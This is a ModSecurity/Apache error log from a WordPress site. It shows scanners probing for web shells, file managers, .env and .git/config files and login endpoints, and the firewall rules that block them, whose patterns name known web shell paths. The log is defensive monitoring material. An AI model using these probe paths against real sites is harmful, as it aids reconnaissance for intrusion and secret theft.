[Mon Jan 05 16:59:21.347721 2026] [:error] [pid 5534:tid 5567] [client 45.67.97.19:65443] [client 45.67.97.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.67.97.19, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aVt9aZNs9XmbR6unB0x1UAAAABg"]
[Mon Jan 05 16:59:26.603342 2026] [proxy_fcgi:error] [pid 5534:tid 5565] [client 45.67.97.19:65443] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 16:59:33.510829 2026] [:error] [pid 5534:tid 5556] [client 45.67.97.19:65443] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aVt9dZNs9XmbR6unB0x1iQAAAA0"]
[Mon Jan 05 16:59:38.619587 2026] [:error] [pid 5534:tid 5551] [client 45.67.97.22:48809] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aVt9epNs9XmbR6unB0x1lAAAAAg"]
[Mon Jan 05 16:59:41.979447 2026] [:error] [pid 6680:tid 6691] [client 45.67.97.22:64439] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aVt9faE58uNoazzTmx22XAAAAQk"]
[Mon Jan 05 16:59:49.497058 2026] [:error] [pid 5632:tid 5663] [client 45.67.97.195:31485] [client 45.67.97.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aVt9hYN3ZWvlOh-nbt-RCAAAANM"]
[Mon Jan 05 16:59:51.733485 2026] [:error] [pid 5534:tid 5559] [client 45.67.97.20:39905] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aVt9h5Ns9XmbR6unB0x1qgAAABA"]
[Mon Jan 05 16:59:55.045374 2026] [:error] [pid 5534:tid 5555] [client 45.67.97.19:41127] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aVt9i5Ns9XmbR6unB0x1rgAAAAw"]
[Mon Jan 05 16:59:59.804149 2026] [proxy_fcgi:error] [pid 5536:tid 5608] [client 45.67.97.22:20137] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 17:00:00.409437 2026] [proxy_fcgi:error] [pid 5536:tid 5605] [client 45.67.97.22:20137] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 17:00:01.169485 2026] [:error] [pid 5536:tid 5604] [client 45.67.97.22:20137] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aVt9kQRtMZNG6xI8yDylMwAAAIc"]
[Mon Jan 05 17:00:02.332397 2026] [:error] [pid 5632:tid 5646] [client 45.67.97.22:60719] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aVt9koN3ZWvlOh-nbt-RJwAAAMI"]
[Mon Jan 05 17:00:06.068451 2026] [:error] [pid 5632:tid 5647] [client 45.67.97.20:48077] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aVt9loN3ZWvlOh-nbt-ROgAAAMM"]
[Mon Jan 05 17:00:08.343275 2026] [:error] [pid 54081:tid 54087] [client 45.67.97.20:31901] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aVt9mFL4jLgtF-b9w4dRYQAAAUM"]
[Mon Jan 05 17:00:12.809406 2026] [:error] [pid 28407:tid 28411] [client 45.67.97.195:64753] [client 45.67.97.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aVt9nNercd3ptydUzM0QxwAAAYE"]
[Mon Jan 05 17:00:18.458204 2026] [:error] [pid 5536:tid 5608] [client 45.67.97.22:55751] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aVt9ogRtMZNG6xI8yDylVwAAAIs"]
[Mon Jan 05 17:00:21.099414 2026] [proxy_fcgi:error] [pid 6680:tid 6700] [client 45.67.97.19:38739] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 17:00:23.530483 2026] [:error] [pid 6680:tid 6697] [client 45.67.97.19:38739] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aVt9p6E58uNoazzTmx22lQAAAQ8"]
[Mon Jan 05 17:00:28.959736 2026] [proxy_fcgi:error] [pid 5534:tid 5555] [client 45.67.97.22:63403] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 17:00:31.005240 2026] [:error] [pid 5534:tid 5565] [client 45.67.97.22:63403] [client 45.67.97.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.67.97.22, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aVt9r5Ns9XmbR6unB0x2PAAAABY"]
[Mon Jan 05 17:00:36.856835 2026] [:error] [pid 5534:tid 5559] [client 45.67.97.22:63403] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aVt9tJNs9XmbR6unB0x2SQAAABA"]
[Mon Jan 05 17:00:41.075260 2026] [:error] [pid 28407:tid 28433] [client 45.67.97.22:23781] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aVt9udercd3ptydUzM0Q9QAAAZY"]
[Mon Jan 05 17:00:46.222638 2026] [:error] [pid 5632:tid 5654] [client 45.67.97.195:59759] [client 45.67.97.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aVt9voN3ZWvlOh-nbt-RoAAAAMo"]
[Mon Jan 05 17:00:58.942019 2026] [:error] [pid 5534:tid 5545] [client 45.67.97.20:51049] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aVt9ypNs9XmbR6unB0x2gQAAAAI"]
[Mon Jan 05 17:01:03.718496 2026] [:error] [pid 5535:tid 5584] [client 45.67.97.22:58505] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aVt9z2nkedMjhVX0PTVBcgAAAE4"]
[Mon Jan 05 17:01:07.127232 2026] [:error] [pid 5534:tid 5546] [client 45.67.97.195:49413] [client 45.67.97.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aVt905Ns9XmbR6unB0x2mgAAAAM"]
[Mon Jan 05 17:01:08.935645 2026] [proxy_fcgi:error] [pid 5632:tid 5659] [client 45.67.97.22:42331] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 17:01:09.328852 2026] [:error] [pid 5632:tid 5651] [client 45.67.97.22:42331] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aVt91YN3ZWvlOh-nbt-R9QAAAMc"]
[Mon Jan 05 17:01:11.234423 2026] [:error] [pid 54081:tid 54089] [client 45.67.97.22:42691] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/db.php"] [unique_id "aVt911L4jLgtF-b9w4dRzgAAAUU"]
[Mon Jan 05 17:01:12.388307 2026] [:error] [pid 54081:tid 54105] [client 45.67.97.19:51793] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aVt92FL4jLgtF-b9w4dR0AAAAVU"]
[Mon Jan 05 17:01:13.743656 2026] [:error] [pid 6680:tid 6683] [client 45.67.97.22:20113] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aVt92aE58uNoazzTmx22_gAAAQE"]
[Mon Jan 05 17:01:14.895880 2026] [:error] [pid 28407:tid 28419] [client 45.67.97.19:24257] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aVt92tercd3ptydUzM0RLgAAAYg"]
[Mon Jan 05 17:01:15.980233 2026] [:error] [pid 5632:tid 5645] [client 45.67.97.19:42823] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aVt924N3ZWvlOh-nbt-SAAAAAME"]
[Mon Jan 05 17:01:17.364684 2026] [:error] [pid 5534:tid 5559] [client 45.67.97.195:52077] [client 45.67.97.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aVt93ZNs9XmbR6unB0x2tQAAABA"]
[Mon Jan 05 17:01:19.623937 2026] [:error] [pid 5534:tid 5545] [client 45.67.97.19:64831] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aVt935Ns9XmbR6unB0x2wQAAAAI"]
[Mon Jan 05 17:01:20.485169 2026] [:error] [pid 28407:tid 28420] [client 45.67.97.19:43697] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aVt94Nercd3ptydUzM0RPgAAAYk"]
[Mon Jan 05 17:01:21.349476 2026] [:error] [pid 5534:tid 5551] [client 45.67.97.20:38565] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aVt94ZNs9XmbR6unB0x2xgAAAAg"]
[Mon Jan 05 19:39:38.602742 2026] [:error] [pid 5536:tid 5605] [client 195.250.31.127:16766] [client 195.250.31.127] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env"] [unique_id "aVui-gRtMZNG6xI8yDze1wAAAIg"]
[Tue Jan 06 03:33:47.589093 2026] [:error] [pid 41930:tid 42008] [client 43.130.37.243:57086] [client 43.130.37.243] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aVwSG1EG_0c1vSwCZfqf2gAAAEs"]
[Tue Jan 06 08:00:17.865967 2026] [:error] [pid 45012:tid 45019] [client 160.30.136.16:52430] [client 160.30.136.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 160.30.136.16, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aVxQkRaMAxCuju1d0uYlYwAAAMU"], referer: https://www.google.com/
[Tue Jan 06 08:00:18.566149 2026] [:error] [pid 44905:tid 44981] [client 160.30.136.16:52507] [client 160.30.136.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 160.30.136.16, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aVxQkru7ufwWVst9EAsQowAAAI0"]
[Tue Jan 06 08:00:19.056919 2026] [:error] [pid 45012:tid 45021] [client 160.30.136.16:52430] [client 160.30.136.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 160.30.136.16, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-login.php"] [unique_id "aVxQkxaMAxCuju1d0uYlZwAAAMc"]
[Tue Jan 06 08:44:41.127390 2026] [:error] [pid 44905:tid 44988] [client 3.83.129.12:42108] [client 3.83.129.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aVxa-bu7ufwWVst9EAsZrQAAAJQ"]
[Tue Jan 06 11:02:14.231504 2026] [:error] [pid 44905:tid 44990] [client 117.33.163.216:35308] [client 117.33.163.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aVx7Nru7ufwWVst9EAtHyQAAAJY"]
[Tue Jan 06 11:49:46.995931 2026] [:error] [pid 44904:tid 44951] [client 3.83.129.12:55726] [client 3.83.129.12] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aVyGWjtieuI1BJEZcve-RwAAAEo"]
[Tue Jan 06 12:20:19.391133 2026] [:error] [pid 44905:tid 44988] [client 188.166.118.19:54683] [client 188.166.118.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.166.118.19, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aVyNg7u7ufwWVst9EAtiYQAAAJQ"]
[Tue Jan 06 12:20:20.466019 2026] [:error] [pid 45959:tid 45971] [client 188.166.118.19:50382] [client 188.166.118.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.166.118.19, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aVyNhFajdn8P3hjgMYwg3gAAAUk"]
[Tue Jan 06 13:18:35.013853 2026] [:error] [pid 44904:tid 44945] [client 143.110.187.65:49557] [client 143.110.187.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.110.187.65, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aVybKztieuI1BJEZcvfTNwAAAEQ"]
[Tue Jan 06 13:18:36.001907 2026] [:error] [pid 44903:tid 44921] [client 143.110.187.65:65158] [client 143.110.187.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.110.187.65, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aVybLNhHqjs38zbkQPCzjgAAAA4"]
[Tue Jan 06 15:05:11.690997 2026] [:error] [pid 44904:tid 44957] [client 91.94.100.166:28825] [client 91.94.100.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.94.100.166, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aVy0JztieuI1BJEZcvfn9AAAAFA"]
[Tue Jan 06 17:41:52.431361 2026] [:error] [pid 35140:tid 35143] [client 45.148.10.250:46332] [client 45.148.10.250] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aVzY4HoQaIDFMbT-XMyiVAAAAQE"]
[Tue Jan 06 19:41:48.857246 2026] [:error] [pid 45012:tid 45021] [client 155.117.98.117:55781] [client 155.117.98.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/e/data/js/ajax.js"] [unique_id "aVz0_BaMAxCuju1d0ubjiwAAAMc"]
[Tue Jan 06 20:11:50.716220 2026] [:error] [pid 45959:tid 45970] [client 111.68.9.66:49796] [client 111.68.9.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/js/welcome.min.js"] [unique_id "aVz8Blajdn8P3hjgMYzGYgAAAUg"]
[Tue Jan 06 20:59:59.307541 2026] [:error] [pid 44905:tid 44990] [client 43.166.242.189:33794] [client 43.166.242.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aV0HT7u7ufwWVst9EAvkRQAAAJY"]
[Tue Jan 06 23:19:40.919960 2026] [:error] [pid 44904:tid 44942] [client 4.247.167.136:4586] [client 4.247.167.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aV0oDDtieuI1BJEZcvdZrQAAAEE"]
[Tue Jan 06 23:19:43.506449 2026] [:error] [pid 45959:tid 45984] [client 4.247.167.136:4609] [client 4.247.167.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aV0oD1ajdn8P3hjgMYwY4AAAAVY"]
